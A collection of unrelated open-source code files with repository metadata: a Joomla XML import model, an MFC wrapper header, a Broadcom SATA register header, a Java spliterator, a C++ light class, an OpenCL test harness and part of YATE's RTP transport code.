(strtolower($chk_ext[1]) == "xml") { $xml = simplexml_load_file($uploadfile['tmp_name']); $name = $xml['database']; $countad = count($xml->general); $obj = new stdClass(); for ($i = 0; $i < $countad; $i++) { if ($name == 'expautos_admanager') { $countimg = count($xml->general[$i]->images->img); $imgdatname = $xml['imgdatabase']; } if ($name == 'categories') { $countast = count($xml->general[$i]->assets->ast); $astdatname = $xml['assetdatabase']; } foreach ($xml->general[$i]->children() as $key => $value) { if ($name == 'expautos_admanager' && $value->getName() == 'images') { $obj2 = new stdClass(); for ($c = 0; $c < $countimg; $c++) { foreach ($xml->general[$i]->images->img[$c]->children() as $key2 => $value2) { $obj2->$key2 = str_replace('\\"', '"', $value2); } if ($select) { $db->updateObject('#__expautos_images', $obj2, 'id'); } else { $db->insertObject('#__expautos_images', $obj2); } } } elseif ($name == 'categories' && $value->getName() == 'assets') { $obj2 = new stdClass(); for ($c = 0; $c < $countast; $c++) { foreach ($xml->general[$i]->assets->ast[$c]->children() as $key2 => $value2) { $obj2->$key2 = str_replace('\\"', '"', $value2); } if ($select) { $db->updateObject('#__assets', $obj2, 'id'); } else { $db->insertObject('#__assets', $obj2); } } } else { $obj->$key = str_replace('\\"', '"', $value); } } if ($select) { $db->updateObject('#__' . $name, $obj, 'id'); } else { $db->insertObject('#__' . $name, $obj); } } $this->setError($uploadfile['name']); return true; } else { $this->setError(JText::_('COM_EXPAUTOSPRO_CSVIMPORT_ERROR_NOXMLFILE_TEXT')); return false; } } }
Chubaskin/buscarautos
administrator/components/com_expautospro/models/import.php
PHP
gpl-2.0
5,048
#if !defined(AFX_RMREPORTPAGE_H__68DEA34F_CB16_40BC_821E_8D57F58A50CA__INCLUDED_) #define AFX_RMREPORTPAGE_H__68DEA34F_CB16_40BC_821E_8D57F58A50CA__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 // Machine generated IDispatch wrapper class(es) created by Microsoft Visual C++ // NOTE: Do not modify the contents of this file. If this class is regenerated by // Microsoft Visual C++, your modifications will be overwritten. // Dispatch interfaces referenced by this interface class CRMView; class CRMBand; ///////////////////////////////////////////////////////////////////////////// // CRMReportPage wrapper class class CRMReportPage : public COleDispatchDriver { public: CRMReportPage() {} // Calls COleDispatchDriver default constructor CRMReportPage(LPDISPATCH pDispatch) : COleDispatchDriver(pDispatch) {} CRMReportPage(const CRMReportPage& dispatchSrc) : COleDispatchDriver(dispatchSrc) {} // Attributes public: // Operations public: long GetCount(); CRMView AddReportObject(long aObjectType); CRMBand AddBand(long aBandType); BOOL GetVisible(); void SetVisible(BOOL bNewValue); long GetLeftMargin(); void SetLeftMargin(long nNewValue); long GetTopMargin(); void SetTopMargin(long nNewValue); long GetRightMargin(); void SetRightMargin(long nNewValue); long GetBottomMargin(); void SetBottomMargin(long nNewValue); long GetPageWidth(); long GetPageHegith(); long GetPageBin(); long GetPageOrientation(); void ChangePaper(long aPaperSize, long aWidth, long aHeight, long aBin, long aPageOrientation); }; //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_RMREPORTPAGE_H__68DEA34F_CB16_40BC_821E_8D57F58A50CA__INCLUDED_)
xukaiming/CoalQualityTestSystem
rmreportpage.h
C
gpl-2.0
1,776
/*************************************************************************** * Copyright (c) 1999-2011, Broadcom Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * Module Description: * DO NOT EDIT THIS FILE DIRECTLY * * This module was generated magically with RDB from a source description * file. You must edit the source file for changes to be made to this file. * * * Date: Generated on Tue Dec 6 18:45:31 2011 * MD5 Checksum d41d8cd98f00b204e9800998ecf8427e * * Compiled with: RDB Utility combo_header.pl * RDB Parser 3.0 * unknown unknown * Perl Interpreter 5.008008 * Operating System linux * * Revision History: * * $brcm_Log: /magnum/basemodules/chp/7435/rdb/a0/bchp_sata_top_ctrl.h $ * * Hydra_Software_Devel/2 12/7/11 3:57p mward * SW7435-3: Synced up with central rdb. * ***************************************************************************/ #ifndef BCHP_SATA_TOP_CTRL_H__ #define BCHP_SATA_TOP_CTRL_H__ /*************************************************************************** *SATA_TOP_CTRL - SATA3 MISC Control Registers ***************************************************************************/ #define BCHP_SATA_TOP_CTRL_Version 0x00180020 /* SATA3 Version Register */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL 0x00180024 /* SATA3 System Bus Access Control Register */ #define BCHP_SATA_TOP_CTRL_TP_CTRL 0x00180028 /* SATA3 Test Port Control register */ #define BCHP_SATA_TOP_CTRL_PHY_CTRL_1 0x0018002c /* SATA3 phy interface control 1 */ #define BCHP_SATA_TOP_CTRL_PHY_CTRL_2 0x00180030 /* SATA3 phy interface control 2 */ #define BCHP_SATA_TOP_CTRL_PHY_CTRL_3 0x00180034 /* SATA3 phy interface control 3 */ #define BCHP_SATA_TOP_CTRL_SATA_TP_OUT 0x00180038 /* SATA3 TP OUT */ /*************************************************************************** *Version - SATA3 Version Register ***************************************************************************/ /* SATA_TOP_CTRL :: Version :: reserved0 [31:08] */ #define BCHP_SATA_TOP_CTRL_Version_reserved0_MASK 0xffffff00 #define BCHP_SATA_TOP_CTRL_Version_reserved0_SHIFT 8 /* SATA_TOP_CTRL :: Version :: major_version [07:04] */ #define BCHP_SATA_TOP_CTRL_Version_major_version_MASK 0x000000f0 #define BCHP_SATA_TOP_CTRL_Version_major_version_SHIFT 4 #define BCHP_SATA_TOP_CTRL_Version_major_version_DEFAULT 0x00000000 /* SATA_TOP_CTRL :: Version :: minor_version [03:00] */ #define BCHP_SATA_TOP_CTRL_Version_minor_version_MASK 0x0000000f #define BCHP_SATA_TOP_CTRL_Version_minor_version_SHIFT 0 #define BCHP_SATA_TOP_CTRL_Version_minor_version_DEFAULT 0x00000001 /*************************************************************************** *BUS_CTRL - SATA3 System Bus Access Control Register ***************************************************************************/ /* SATA_TOP_CTRL :: BUS_CTRL :: bus_ctrl_31_17 [31:17] */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL_bus_ctrl_31_17_MASK 0xfffe0000 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_bus_ctrl_31_17_SHIFT 17 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_bus_ctrl_31_17_DEFAULT 0x00000000 /* SATA_TOP_CTRL :: BUS_CTRL :: overide_hwinit_registers [16:16] */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL_overide_hwinit_registers_MASK 0x00010000 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_overide_hwinit_registers_SHIFT 16 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_overide_hwinit_registers_DEFAULT 0x00000000 /* SATA_TOP_CTRL :: BUS_CTRL :: bus_ctrl_15_8 [15:08] */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL_bus_ctrl_15_8_MASK 0x0000ff00 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_bus_ctrl_15_8_SHIFT 8 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_bus_ctrl_15_8_DEFAULT 0x00000000 /* SATA_TOP_CTRL :: BUS_CTRL :: piodata_endian_ctrl [07:06] */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL_piodata_endian_ctrl_MASK 0x000000c0 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_piodata_endian_ctrl_SHIFT 6 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_piodata_endian_ctrl_DEFAULT 0x00000000 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_piodata_endian_ctrl_SwapEndianess 2 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_piodata_endian_ctrl_HalfWordSwap 1 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_piodata_endian_ctrl_NoSwap 0 /* SATA_TOP_CTRL :: BUS_CTRL :: dmadata_endian_ctrl [05:04] */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadata_endian_ctrl_MASK 0x00000030 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadata_endian_ctrl_SHIFT 4 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadata_endian_ctrl_DEFAULT 0x00000000 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadata_endian_ctrl_SwapEndianess 2 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadata_endian_ctrl_HalfWordSwap 1 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadata_endian_ctrl_NoSwap 0 /* SATA_TOP_CTRL :: BUS_CTRL :: dmadesc_endian_ctrl [03:02] */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadesc_endian_ctrl_MASK 0x0000000c #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadesc_endian_ctrl_SHIFT 2 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadesc_endian_ctrl_DEFAULT 0x00000000 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadesc_endian_ctrl_SwapEndianess 2 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadesc_endian_ctrl_HalfWordSwap 1 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_dmadesc_endian_ctrl_NoSwap 0 /* SATA_TOP_CTRL :: BUS_CTRL :: reg_endian_ctrl [01:00] */ #define BCHP_SATA_TOP_CTRL_BUS_CTRL_reg_endian_ctrl_MASK 0x00000003 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_reg_endian_ctrl_SHIFT 0 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_reg_endian_ctrl_DEFAULT 0x00000000 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_reg_endian_ctrl_SwapEndianess 2 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_reg_endian_ctrl_HalfWordSwap 1 #define BCHP_SATA_TOP_CTRL_BUS_CTRL_reg_endian_ctrl_NoSwap 0 /*************************************************************************** *TP_CTRL - SATA3 Test Port Control register ***************************************************************************/ /* SATA_TOP_CTRL :: TP_CTRL :: tp_ctrl [31:00] */ #define BCHP_SATA_TOP_CTRL_TP_CTRL_tp_ctrl_MASK 0xffffffff #define BCHP_SATA_TOP_CTRL_TP_CTRL_tp_ctrl_SHIFT 0 #define BCHP_SATA_TOP_CTRL_TP_CTRL_tp_ctrl_DEFAULT 0x00000000 /*************************************************************************** *PHY_CTRL_1 - SATA3 phy interface control 1 ***************************************************************************/ /* SATA_TOP_CTRL :: PHY_CTRL_1 :: phy_ctrl [31:00] */ #define BCHP_SATA_TOP_CTRL_PHY_CTRL_1_phy_ctrl_MASK 0xffffffff #define BCHP_SATA_TOP_CTRL_PHY_CTRL_1_phy_ctrl_SHIFT 0 #define BCHP_SATA_TOP_CTRL_PHY_CTRL_1_phy_ctrl_DEFAULT 0x00000000 /*************************************************************************** *PHY_CTRL_2 - SATA3 phy interface control 2 ***************************************************************************/ /* SATA_TOP_CTRL :: PHY_CTRL_2 :: phy_ctrl [31:00] */ #define BCHP_SATA_TOP_CTRL_PHY_CTRL_2_phy_ctrl_MASK 0xffffffff #define BCHP_SATA_TOP_CTRL_PHY_CTRL_2_phy_ctrl_SHIFT 0 #define BCHP_SATA_TOP_CTRL_PHY_CTRL_2_phy_ctrl_DEFAULT 0x00000000 /*************************************************************************** *PHY_CTRL_3 - SATA3 phy interface control 3 ***************************************************************************/ /* SATA_TOP_CTRL :: PHY_CTRL_3 :: phy_ctrl [31:00] */ #define BCHP_SATA_TOP_CTRL_PHY_CTRL_3_phy_ctrl_MASK 0xffffffff #define BCHP_SATA_TOP_CTRL_PHY_CTRL_3_phy_ctrl_SHIFT 0 #define BCHP_SATA_TOP_CTRL_PHY_CTRL_3_phy_ctrl_DEFAULT 0x00000000 /*************************************************************************** *SATA_TP_OUT - SATA3 TP OUT ***************************************************************************/ /* SATA_TOP_CTRL :: SATA_TP_OUT :: TP_OUT [31:00] */ #define BCHP_SATA_TOP_CTRL_SATA_TP_OUT_TP_OUT_MASK 0xffffffff #define BCHP_SATA_TOP_CTRL_SATA_TP_OUT_TP_OUT_SHIFT 0 #endif /* #ifndef BCHP_SATA_TOP_CTRL_H__ */ /* End of File */
jameshilliard/bruno
arch/mips/include/asm/brcmstb/7435a0/bchp_sata_top_ctrl.h
C
gpl-2.0
8,994
package net.butfly.albacore.paral.split; import java.util.Objects; import java.util.Spliterator; abstract class ConvedSpliteratorBase<E, E0> extends LockSpliterator<E> { protected final Spliterator<E0> impl; protected final int ch; protected ConvedSpliteratorBase(Spliterator<E0> impl, int ch) { super(); this.impl = Objects.requireNonNull(impl); this.ch = impl.characteristics(); } @Override public int characteristics() { return ch; } @Override public long estimateSize() { return impl.estimateSize(); } }
zbutfly/albacore
core/src/main/java/net/butfly/albacore/paral/split/ConvedSpliteratorBase.java
Java
gpl-2.0
533
#ifndef AMBIENTLIGHT_H #define AMBIENTLIGHT_H #include "light.h" class AmbientLight: public Light { public: AmbientLight(); void setLight(Vec4 amb); void drawLight(); void drawReferenceLight(); Vec4 calculateColor(Vec4 pit,Vec4 n,Vec4 viewer, Material *m,Vec4 pos=Vec4(0,0,0),Vec4 texColor=Vec4(),int mode_texture=-1); void drawLightOpenGL(int flag_light = -1); QString getName(); void setName(QString name); bool isEnabled(); void setEnabled(bool); bool isVisible(); void setVisible(bool); void setAmbientColor(QColor); QColor getAmbientColor(); void setSpecularColor(QColor); QColor getSpecularColor(); void setDiffuseColor(QColor); QColor getDiffuseColor(); int getTypeLight(); void setSelected(bool); bool isSelected(); void setPosition(Vec4); Vec4 getPosition(); void setDirection(Vec4); Vec4 getDirection(); void setAttenuation(Vec4); Vec4 getAttenuation(); int getAngle(); void setAngle(int angle); void setExponent(int exp); int getExponent(); QString saveLight(); Vec4 randLight(); int getAngleInner(); void setAngleInner(int angle); void setVecA(Vec4); Vec4 getVecA(); void setVecB(Vec4); Vec4 getVecB(); QString getTypeLightS(); std::vector<Photon*> emitPhotons(int,int,Object*){}; void setPower(int pow){}; int getPower(){}; private: Vec4* ambient_light; QString name; bool visible; bool selected; }; #endif // AMBIENTLIGHT_H
danilob/SceneBuild
structure/ambientlight.h
C
gpl-2.0
1,794
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program binary */ unsigned char *bin; size_t bin_len; cl_int bin_ret; /* Read program binary */ if (argc == 2) bin = read_buffer((char *)argv[1], &bin_len); else { printf("error: No binary specified\n"); exit(1); } /* Create a program */ cl_program program; program = clCreateProgramWithBinary(context, 1, &device, &bin_len, (const unsigned char **)&bin, &bin_ret, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithBinary' failed\n"); exit(1); } if (bin_ret != CL_SUCCESS) { printf("error: Invalid binary for device\n"); exit(1); } printf("program=%p\n", program); /* Free binary */ free(bin); printf("program binary loaded\n"); printf("\n"); ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object*/ cl_kernel kernel; kernel = clCreateKernel(program, "acos_float", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_float *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_float)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_float)(2.0); /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_float *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_float)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_float)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
xianggong/m2c_unit_test
test/math/acos_float/acos_float_bin.c
C
gpl-2.0
9,980
/** * transport.cpp * Yet Another RTP Stack * This file is part of the YATE Project http://YATE.null.ro * * Yet Another Telephony Engine - a fully featured software PBX and IVR * Copyright (C) 2004-2013 Null Team * * This software is distributed under multiple licenses; * see the COPYING file in the main directory for licensing * information for this specific distribution. * * This use of this software may be subject to additional restrictions. * See the LEGAL file in the main directory for details. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. */ #include <yatertp.h> #define BUF_SIZE 1500 using namespace TelEngine; static unsigned long s_sleep = 5; // Set IPv6 sin6_scope_id for remote addresses from local address // recvFrom() will set the sin6_scope_id of the remote socket address // This will avoid socket address comparison mismatch (same address, different scope id) static inline void setScopeId(const SocketAddr& local, SocketAddr& sa1, SocketAddr& sa2, SocketAddr* sa3 = 0) { if (local.family() != SocketAddr::IPv6) return; unsigned int val = local.scopeId(); sa1.scopeId(val); sa2.scopeId(val); if (sa3) sa3->scopeId(val); } RTPGroup::RTPGroup(int msec, Priority prio) : Mutex(true,"RTPGroup"), Thread("RTP Group",prio), m_listChanged(false) { DDebug(DebugInfo,"RTPGroup::RTPGroup() [%p]",this); if (msec < 1) msec = 1; if (msec > 50) msec = 50; m_sleep = msec; } RTPGroup::~RTPGroup() { DDebug(DebugInfo,"RTPGroup::~RTPGroup() [%p]",this); } void RTPGroup::cleanup() { DDebug(DebugInfo,"RTPGroup::cleanup() [%p]",this); lock(); m_listChanged = true; ObjList* l = &m_processors; while (l) { RTPProcessor* p = static_cast<RTPProcessor*>(l->get()); if (p) { p->group(0); if (p != static_cast<RTPProcessor*>(l->get())) continue; } l = l->next(); } m_processors.clear(); unlock(); } void RTPGroup::run() { DDebug(DebugInfo,"RTPGroup::run() [%p]",this); bool ok = true; while (ok) { unsigned long msec = m_sleep; if (msec < s_sleep) msec = s_sleep; lock(); Time t; ObjList* l = &m_processors; m_listChanged = false; for (ok = false;l;l = l->next()) { RTPProcessor* p = static_cast<RTPProcessor*>(l->get()); if (p) { ok = true; p->timerTick(t); // the list is protected from other threads but can be changed // from this one so if it happened we just break out and try // again later rather than using an expensive ListIterator if (m_listChanged) break; } } unlock(); Thread::msleep(msec,true); } DDebug(DebugInfo,"RTPGroup::run() ran out of processors [%p]",this); } void RTPGroup::join(RTPProcessor* proc) { DDebug(DebugAll,"RTPGroup::join(%p) [%p]",proc,this); lock(); m_listChanged = true; m_processors.append(proc)->setDelete(false); startup(); unlock(); } void RTPGroup::part(RTPProcessor* proc) { DDebug(DebugAll,"RTPGroup::part(%p) [%p]",proc,this); lock(); m_listChanged = true; m_processors.remove(proc,false); unlock(); } void RTPGroup::setMinSleep(int msec) { if (msec < 1) msec = 1; if (msec > 20) msec = 20; s_sleep = msec; } RTPProcessor::RTPProcessor() : m_wrongSrc(0), m_group(0) { DDebug(DebugAll,"RTPProcessor::RTPProcessor() [%p]",this); } RTPProcessor::~RTPProcessor() { DDebug(DebugAll,"RTPProcessor::~RTPProcessor() [%p]",this); group(0); } void RTPProcessor::group(RTPGroup* newgrp) { DDebug(DebugAll,"RTPProcessor::group(%p) old=%p [%p]",newgrp,m_group,this); if (newgrp == m_group) return; if (m_group) m_group->part(this); m_group = newgrp; if (m_group) m_group->join(this); } void RTPProcessor::rtpData(const void* data, int len) { } void RTPProcessor::rtcpData(const void* data, int len) { } void RTPProcessor::getStats(String& stats) const { } RTPTransport::RTPTransport(RTPTransport::Type type) : RTPProcessor(), m_type(type), m_processor(0), m_monitor(0), m_autoRemote(false), m_warnSendErrorRtp(true), m_warnSendErrorRtcp(true) { DDebug(DebugAll,"RTPTransport::RTPTransport(%d) [%p]",type,this); } RTPTransport::~RTPTransport() { DDebug(DebugAll,"RTPTransport::~RTPTransport() [%p]",this); RTPGroup* g = group(); if (g) Debug(DebugGoOn,"RTPTransport destroyed while in RTPGroup %p [%p]",g,this); group(0); setProcessor(); setMonitor(); } void RTPTransport::destruct() { group(0); setProcessor(); setMonitor(); RTPProcessor::destruct(); } void RTPTransport::timerTick(const Time& when) { XDebug(DebugAll,"RTPTransport::timerTick() group=%p [%p]",group(),this); if (m_rtpSock.valid()) { char buf[BUF_SIZE]; int len; while ((len = m_rtpSock.recvFrom(buf,sizeof(buf),m_rxAddrRTP)) > 0) { XDebug(DebugAll,"RTP/UDPTL from '%s:%d' length %d [%p]", m_rxAddrRTP.host().c_str(),m_rxAddrRTP.port(),len,this); switch (m_type) { case RTP: if (len < 12) continue; if (((unsigned char)buf[0] & 0xc0) != 0x80) continue; break; case UDPTL: if (len < 6) continue; break; default: break; } if (!m_remoteAddr.valid()) continue; // looks like it's RTP or UDPTL, at least by length and version bool preferred = false; if ((m_autoRemote || (preferred = (m_rxAddrRTP == m_remotePref))) && (m_rxAddrRTP != m_remoteAddr)) { Debug(DebugInfo,"Auto changing RTP address from %s:%d to%s %s:%d", m_remoteAddr.host().c_str(),m_remoteAddr.port(), (preferred ? " preferred" : ""), m_rxAddrRTP.host().c_str(),m_rxAddrRTP.port()); // if we received from the preferred address don't auto change any more if (preferred) m_remotePref.clear(); remoteAddr(m_rxAddrRTP); } m_autoRemote = false; if (m_rxAddrRTP == m_remoteAddr) { if (m_processor) m_processor->rtpData(buf,len); if (m_monitor) m_monitor->rtpData(buf,len); } else if (m_processor) m_processor->incWrongSrc(); } m_rtpSock.timerTick(when); } if (m_rtcpSock.valid()) { char buf[BUF_SIZE]; int len; while (((len = m_rtcpSock.recvFrom(buf,sizeof(buf),m_rxAddrRTCP)) >= 8) && (m_rxAddrRTCP == m_remoteRTCP)) { XDebug(DebugAll,"RTCP from '%s:%d' length %d [%p]", m_rxAddrRTCP.host().c_str(),m_rxAddrRTCP.port(),len,this); if (m_processor) m_processor->rtcpData(buf,len); if (m_monitor) m_monitor->rtcpData(buf,len); } m_rtcpSock.timerTick(when); } } // Send data to remote party // Put a debug message on failure // Return true if all bytes were sent static bool sendData(Socket& sock, const SocketAddr& to, const void* data, int len, const char* what, bool& flag) { if (!sock.valid()) return false; if (!to.valid()) { if (flag) { flag = false; SocketAddr local; sock.getSockName(local); Debug(DebugNote,"%s send failed (local=%s): invalid remote address", what,local.addr().c_str()); } return false; } int wr = sock.sendTo(data,len,to); if (wr == Socket::socketError() && flag && !sock.canRetry()) { flag = false; // Retrieve the error before calling getSockName() to avoid reset String s; int e = sock.error(); Thread::errorString(s,e); SocketAddr local; sock.getSockName(local); Debug(DebugNote,"%s send failed (local=%s remote=%s): %d %s", what,local.addr().c_str(),to.addr().c_str(),e,s.c_str()); } return wr == len; } void RTPTransport::rtpData(const void* data, int len) { if (!data) return; switch (m_type) { case RTP: if (len < 12) return; break; case UDPTL: if (len < 6) return; break; default: break; } sendData(m_rtpSock,m_remoteAddr,data,len,"RTP",m_warnSendErrorRtp); } void RTPTransport::rtcpData(const void* data, int len) { if ((len < 8) || !data) return; sendData(m_rtcpSock,m_remoteRTCP,data,len,"RTCP",m_warnSendErrorRtcp); } void RTPTransport::setProcessor(RTPProcessor* processor) { if (processor) { // both should run in the same RTP group if (group()) processor->group(group()); else group(processor->group()); } m_processor = processor; } void RTPTransport::setMonitor(RTPProcessor* monitor) { m_monitor = monitor; } bool RTPTransport::localAddr(SocketAddr& addr, bool rtcp) { // check if sockets are already created and bound if (m_rtpSock.valid()) return false; int p = addr.port(); // for RTCP make sure we don't have a port or it's an even one if (rtcp && (p & 1)) return false; m_warnSendErrorRtp = true; m_warnSendErrorRtcp = true; if (m_rtpSock.create(addr.family(),SOCK_DGRAM) && m_rtpSock.bind(addr)) { m_rtpSock.setBlocking(false); if (!rtcp) { // RTCP not requested - we are done m_rtpSock.getSockName(addr); m_localAddr = addr; setScopeId(m_localAddr,m_remoteAddr,m_remotePref); return true; } if (!p) { m_rtpSock.getSockName(addr); p = addr.port(); if (p & 1) { // allocated odd port - have to swap sockets m_rtcpSock.attach(m_rtpSock.detach()); addr.port(p-1); if (m_rtpSock.create(addr.family(),SOCK_DGRAM) && m_rtpSock.bind(addr)) { m_rtpSock.setBlocking(false); m_localAddr = addr; setScopeId(m_localAddr,m_remoteAddr,m_remoteRTCP,&m_remotePref); return true; } DDebug(DebugMild,"RTP Socket failed with code %d",m_rtpSock.error()); 